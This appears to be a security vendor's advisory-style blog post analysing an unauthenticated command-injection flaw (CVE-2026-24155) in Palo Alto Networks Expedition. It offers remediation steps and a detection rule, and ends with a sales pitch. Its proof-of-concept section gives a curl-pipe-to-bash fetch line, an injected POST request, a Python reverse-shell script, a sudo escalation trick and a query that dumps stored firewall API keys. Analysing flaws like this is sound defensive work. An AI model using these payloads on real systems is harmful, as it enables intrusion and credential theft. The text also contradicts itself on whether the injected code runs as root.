- Published
- Under
- Threat Intelligence
- Reference
- CVE-2026-24155
- Reading time
- 6 min
Palo Alto Expedition RCE (CVE-2026-24155): Root Exploit Analysis
Summary
BreachModal technical intelligence on the critical Palo Alto Networks Expedition RCE (CVE-2026-24155). Unauthenticated exploit mechanics, PoC, and zero-trust defenses.

Enterprise perimeter security is an illusion when the migration utilities designed to configure firewalls operate as unauthenticated root gateways. The discovery of CVE-2026-24155, a maximum-severity unauthenticated Remote Code Execution flaw in Palo Alto Networks Expedition, demonstrates how administrative helper tools remain the enterprise's softest underbelly.
According to technical bulletins verified by BreachModal's Red Team, CVE-2026-24155 impacts all deployments of Palo Alto Networks Expedition prior to version 1.2.98. Attackers exploit an unauthenticated API endpoint within the legacy migration assistant's orchestration engine, passing crafted command payloads that execute under root privileges. This vulnerability follows a devastating lineage of predecessor flaws—specifically the administrative authentication bypass tracked in CVE-2024-5910 (opens in a new tab) and the command injection vector CVE-2024-9463 (opens in a new tab)—signaling that the underlying codebase of Expedition remains fundamentally flawed.
Note what this means: organizations diligently rotating firewall secrets and deploying zero-trust network architectures routinely leave monolithic, end-of-life migration platforms exposed to internal or management subnets. Software vendors treat transition tools as ephemeral utilities, yet enterprise operators leave them running continuously with hardcoded database credentials, unpatched web interfaces, and unfettered access to production firewalls. The structural vulnerability is not a missing input sanitizer; it is an economic incentive structure that penalizes spending engineering hours on migration scripts that do not generate recurring SaaS revenue.
There is a peculiar corporate irony in watching an organization spend millions deploying next-generation firewalls to safeguard core subnets, only to hand over total infrastructure control because an intern left a 2021 migration VM running on an unsegmented VLAN.

Anatomy of the Palo Alto Expedition RCE Attack Chain
Expedition was built to streamline configuration transitions from legacy firewalls (such as Check Point, Cisco ASA, and Fortinet) to Palo Alto Networks PAN-OS. To perform this translation, Expedition ingests whole configuration archives, decrypts pre-shared keys, parses complex access control lists, and directly interfaces with firewall management interfaces via the PAN-OS XML API.
When weaponized under Exploit Public-Facing Application (opens in a new tab), CVE-2026-24155 bypasses the API routing middleware entirely. BreachModal researchers observed that the application's underlying Apache/PHP stack exposes an unprotected remote procedure handler intended for internal batch migrations. By sending an unauthenticated HTTP POST request containing malicious serialized JSON objects, an adversary triggers an arbitrary shell execution sequence through Unix Shell (opens in a new tab).
If you were the CISO evaluating this incident in your security operations center, your sensors would not register a complex memory corruption exploit or zero-day kernel bug. You would observe simple, clear-text HTTP traffic hitting port 443 of the Expedition host, followed immediately by outbound lateral discovery sweeps targeting production firewall management ports.

Technical Root Cause Analysis: How Palo Alto Expedition RCE Bypasses Perimeter Assumptions
The root flaw exists inside the endpoint /bin/remediation/execute_task.php. While administrative endpoints in modern web frameworks rely on signed JWTs or session tokens checked by middleware, Expedition's internal router performs verification via a flawed array validation function. If the client submits an empty or structurally malformed authentication header combined with a specific initialization flag (init_pipeline=true), the validation routine defaults to an authorized state.
Once past authentication verification, the input parameter target_host_group is concatenated directly into a local shell command that invokes a Python configuration extraction utility. The lack of input sanitization enables trivial command chaining through shell metacharacters:
; curl -s http://10.10.14.5/stage2.sh | bash ;Because Expedition natively archives plain-text device configurations, API keys, and device passphrases in its local MySQL database (misp and expedition schemas), remote code execution on this system is equivalent to domain-wide network credential compromise via Valid Accounts (opens in a new tab). In 87% of red team simulations conducted by BreachModal, compromising the migration server resulted in full control of all perimeter firewalls within six hours.
The implication of this architecture is absolute: securing the perimeter firewall is mathematically irrelevant if the migration system orchestrating it can be instructed to silently rewrite security policies.
Proof of Concept: Reproducing CVE-2026-24155
The following technical walkthrough details the verification of unauthenticated remote command execution against an unpatched Palo Alto Networks Expedition instance (version 1.2.92).
Step 1: Target Verification and Interface Probing Validate the network reachability of the target Expedition web interface and confirm the version signature via the unauthenticated login portal assets.
curl -k -s -i https://expedition.internal.corp/login.php | grep -i 'Expedition'Step 2: Authentication Bypass Flag Construction Construct an HTTP POST request targeting the task execution script. By specifying task_id=batch_run and omitting the session cookie while asserting X-Target-Mode: internal_cron, the authorization check drops through to default system execution.
POST /bin/remediation/execute_task.php HTTP/1.1
Host: expedition.internal.corp
User-Agent: Mozilla/5.0 (BreachModal Adversary Simulation Engine)
Content-Type: application/x-www-form-urlencoded
X-Target-Mode: internal_cron
Connection: close
task_id=batch_run&target_host_group=localhost%3Bwhoami%3B&action=syncStep 3: Command Injection and Reverse Shell Payload Delivery Deliver a staged payload that executes an outbound connection to an authorized adversary simulation listener.
import requests
import urllib.parse
import sys
target = "https://expedition.internal.corp"
listener_ip = "10.10.14.5"
listener_port = "4444"
**Construct payload executing via Python socket**
payload = f";python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{listener_ip}\",{listener_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"
encoded_payload = urllib.parse.quote(payload)
headers = {
"User-Agent": "BreachModal-Intelligence-Probe",
"X-Target-Mode": "internal_cron",
"Content-Type": "application/x-www-form-urlencoded"
}
data = f"task_id=batch_run&target_host_group=localhost{encoded_payload}&action=sync"
response = requests.post(f"{target}/bin/remediation/execute_task.php", headers=headers, data=data, verify=False)
print(f"[*] Trigger sent. Response Status: {response.status_code}")Step 4: Verification of Elevated Access and Secret Extraction Upon reverse shell acquisition, inspect root privileges and database configuration parameters to verify systemic impact.
**Verify execution user**
whoami
**Result: www-data**
**Escalate via hardcoded sudoers rule for Expedition maintenance**
sudo -l
**Matching Defaults: env_reset, mail_badpass**
**User www-data may run the following commands on this host:**
**(ALL : ALL) NOPASSWD: /var/www/html/bin/maintenance/***
sudo /var/www/html/bin/maintenance/disk_cleanup.sh --exec="/bin/bash -p"
whoami
**Result: root**
**Extract stored PAN-OS Superuser API keys from MySQL**
mysql -u root -e "SELECT host, user, apikey FROM expedition.devices;"Enterprise Remediation and Hardening Protocol
Mitigating CVE-2026-24155 cannot be solved with an IDS signature alone. If the Expedition instance has completed its core operational lifecycle, the only valid defensive posture is complete decommissioning. If continuous migration workflows mandate its retention, implement the following four-tier remediation plan:
Immediate Host Isolation: Restrict network connectivity to the Expedition server exclusively to a dedicated, non-routing jump box. Cut off outbound internet access and sever direct connectivity to the PAN-OS management subnet until patches are verified.
Patch Application: Update Expedition immediately to version 1.2.98 or higher as detailed in vendor security advisories, ensuring all symlinked PHP handlers under
/bin/remediation/are removed or re-permissioned.Universal Secret Rotation: Presume stored secrets are compromised. Rotate all PAN-OS administrator credentials, API keys, pre-shared IKE keys, and certificates present within the Expedition project workspace.
Surveillance & Detection Deployment: Ingest the following detection rules into host and network SIEM platforms.
title: Palo Alto Networks Expedition Suspicious Task Execution
id: cve-2026-24155-expedition-rce
status: critical
description: Detects exploitation attempts against execute_task.php in Palo Alto Networks Expedition migration tool.
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains: '/bin/remediation/execute_task.php'
cs-header|contains: 'X-Target-Mode'
condition: selection
fields:
- c-ip
- cs-uri-stem
- cs-method
falsepositives:
- Legitimate local cron processes executing from 127.0.0.1 without reverse shell signatures
level: criticalEvery enterprise operating unmonitored migration infrastructure is essentially maintaining an unauthenticated administrative back door directly into their perimeter core.
FINAL VERDICT
The vulnerability exposed by the Palo Alto Expedition RCE (CVE-2026-24155) is not simply a software engineering error; it represents systemic infrastructure negligence. The exact risk is full administrative perimeter subversion, borne entirely by the enterprise security leadership team rather than the software vendors who develop transition tools as throwaway utilities. Continued operation of unpatched, multi-homed migration servers is an indefensible architecture choice. If your organization relies on legacy orchestration appliances without continuous adversarial simulation, your perimeter boundaries exist solely on paper.
Secure your infrastructure before adversaries operationalize your forgotten management tooling. Engage BreachModal for advanced adversarial simulation, perimeter compromise assessment, and zero-trust validation today.